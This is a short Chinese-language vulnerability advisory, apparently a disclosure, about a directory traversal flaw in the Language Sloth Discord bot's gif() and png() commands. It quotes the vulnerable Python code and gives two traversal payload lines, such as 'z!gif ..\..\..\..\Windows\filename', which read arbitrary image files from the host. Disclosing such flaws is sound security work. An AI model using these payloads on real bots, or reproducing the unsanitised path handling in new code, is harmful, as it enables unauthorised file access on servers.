Language Sloth Discord 机器人的 gif() 和 png() 函数存在目录遍历漏洞。这些函数使用未经清理的用户输入构造文件路径,允许攻击者访问预期资源目录之外的文件。
files.py 文件中的 gif 和 png 函数存在目录遍历漏洞,因为它们使用 open 从托管机器人的服务器本地获取文件。以下负载允许 Discord 上的任何用户检索托管机器人服务器上的任意 .gif 和 .png 文件。
async def gif(self, ctx, name: str = None):
'''
(ADM) 从机器人的 gif 文件夹发送一个 gif。
:param name: gif 文件的名称。
'''
await ctx.message.delete()
try:
with open(f'./gif/{name}.gif', 'rb') as pic:
await ctx.send(file=discord.File(pic))
except FileNotFoundError:
return await ctx.send("**文件未找到!**")
async def png(self, ctx, name: str = None):
'''
(ADM) 从机器人的 png 文件夹发送一个 png。
:param name: png 文件的名称。
'''
await ctx.message.delete()
try:
await ctx.send(file=discord.File(f'./png/{name}.png'))
except FileNotFoundError:
return await ctx.send("**文件未找到!**")
name 参数直接插入到文件路径中,未经过验证或清理:
f'./gif/{name}.gif'
f'./png/{name}.png'
示例负载:
z!gif ..\..\..\..\Windows\filename
z!png ..\..\..\..\Windows\filename
上图展示了提取位于 C:\Windows\cat.gif 的图像。